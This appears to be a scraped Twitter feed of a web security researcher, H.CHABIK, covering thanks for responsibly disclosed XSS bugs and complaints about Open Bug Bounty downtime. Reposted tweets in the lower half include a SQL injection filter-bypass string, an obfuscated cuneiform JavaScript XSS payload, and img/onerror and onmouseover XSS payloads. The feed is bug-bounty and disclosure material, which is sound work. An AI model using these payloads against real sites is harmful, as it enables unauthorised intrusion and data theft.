H.CHABIK

Web Application Security Researcher

[H.CHABIK @H_chabik]

@BRuteLogic @AniR0y Thank you, i hope there will be enough users to keep this service going, because it is truly an excellent service. I strongly support this tool

[H.CHABIK @H_chabik]

@BRuteLogic @AniR0y Maybe could you perhaps keep the tools available for a few users like me who still realy on them?, or maybe consider increasing the price of the tools to make the service sustainable for those who are still interested in using them

[H.CHABIK @H_chabik]

@KN0X55 But why?? The tools were working very well

[H.CHABIK @H_chabik]

@openbugbounty Team @openbugbounty what happened with the platform ? It’s been 3 week not working any problems ?

[H.CHABIK @H_chabik]

@openbugbounty Hello team @openbugbounty
The platform is not working for three days. What is the problem?

[@[email protected] @EesgerToering]

@H_chabik Thank you for sending a mail and giving the POC of the bug you found in one of the sites we maintain.
This was the first time in the existence of our company (est. 1999!) that someone external found a potentiaal risky bug in our software!
(check your mail also)

[H.CHABIK @H_chabik]

@EesgerToering @EesgerToering thank you dear Eesger Toering for your feedback, that's mean a lot,
i am very happy to make your site more secure.🤝

[Open Bug Bounty @openbugbounty]

Over 3800+ websites secured thanks to the research and coordinated disclosure by @H_chabik at Open Bug Bounty Platform #OpenBugBounty.

[BibliothekHMTLeipzig @BibliothekHMTL]

We thank @H_chabik very much for finding and reporting an XSS vulnerability in our library catalog. Working together with @ubleipzig it has been immediately fixed and updated. Thanks for handling the found vulnerability responsibly!
@openbugbounty

[H.CHABIK @H_chabik]

@BibliothekHMTL @ubleipzig @openbugbounty Thank you for your support, that mean a lot, good work🤝

[Luis Madero @_Y000_]

Sql injection bypass 🔴

%23AAAAA%0Aunion %23AAAAA%0Aselect 1,2,3,4,version(),5...

+And .0union/**/distinctrow select/**/distinctrow

#sql #bypass

[XSS Payloads @XssPayloads]

A cuneiform payload by @lutfumertceylan, blocked by CSP but shows the idea...

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

[Ali Tütüncü @alicanact60]

Here is a few XSS/IDOR pocs :)
https://t.co/KEaCLtbKe7
https://t.co/1du1Tahw9L
https://t.co/311DXTSX6M

#BugBounty #security #bugbountytip #bugbountytips #vulnerability #xss #IDOR @Hacker0x01 #hackerone

[Luis Madero @_Y000_]

xss payload + 


<img src=`%00`
 onerror=alert`_Y000!_`


<a href="javascript:void(0)" onmouseover=
javascript:alert`_Y000!_`
>_Y000!_</a>

[Brute @BRuteLogic]

The Easiest Way to Bypass XSS Mitigations https://t.co/ZftI7tx7la

[Brute @BRuteLogic]

The 7 Main XSS Cases Everyone Should Know https://t.co/R3CsuvJ3Ev

[Brute @BRuteLogic]

Multi Reflection XSS https://t.co/XYkh5y1DOz

[Brute @BRuteLogic]

XSS Challenge I https://t.co/8hsYnbrv1I